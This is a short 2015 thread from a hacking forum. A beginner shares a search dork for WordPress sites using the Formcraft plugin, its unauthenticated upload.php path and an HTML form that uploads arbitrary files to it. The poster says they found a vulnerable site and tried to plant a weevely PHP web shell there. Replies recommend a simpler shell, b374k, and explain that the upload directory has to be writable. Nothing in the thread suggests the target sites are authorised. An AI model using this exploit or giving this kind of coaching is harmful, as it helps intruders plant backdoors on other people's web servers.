EvilZone
Hacking and Security => Beginner's Corner => Topic started by: Day_dreamer on August 24, 2015, 09:19:24 AM
-
Dork:"powered by Formcraft"
Vuln result: {"failed":"No file found 2"}
Exploit : wp-content/plugins/formcraft/file-upload/server/php/upload.php
this is the script I used and saved as html and run in a browser:
<form method="POST" action="target.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php" enctype="multipart/form-data"> <input type="file" name="files[]" /><button>Upload</button> </form>
I found a vul website, that allowes me to upload a shell form my local file yey (=
I used weeveley in backbox linux to generate one and tried to upload, but it didn't
It said:{"failed":"Not writable"} (I tried changing the permissions by chmod 777 (file)) Nothing worked!
Is there anything wrong with weevely generated shell (php)?
Am I using the wrong type of shell? If yes then how can I determine the ideal web shell for this purpose and where can I find them?
[/size]Thanks in advance ;D
-
Try using some simple shell first. b347k for instance. :)
-
Dude please use [code$] [/code$] for your code (without the $)
-
Try using some simple shell first. b347k for instance. :)
I see, ok thanks =)
-
I see, ok thanks =)
That means edit your damn post and fix it
-
directory need to be writeable (not the file..)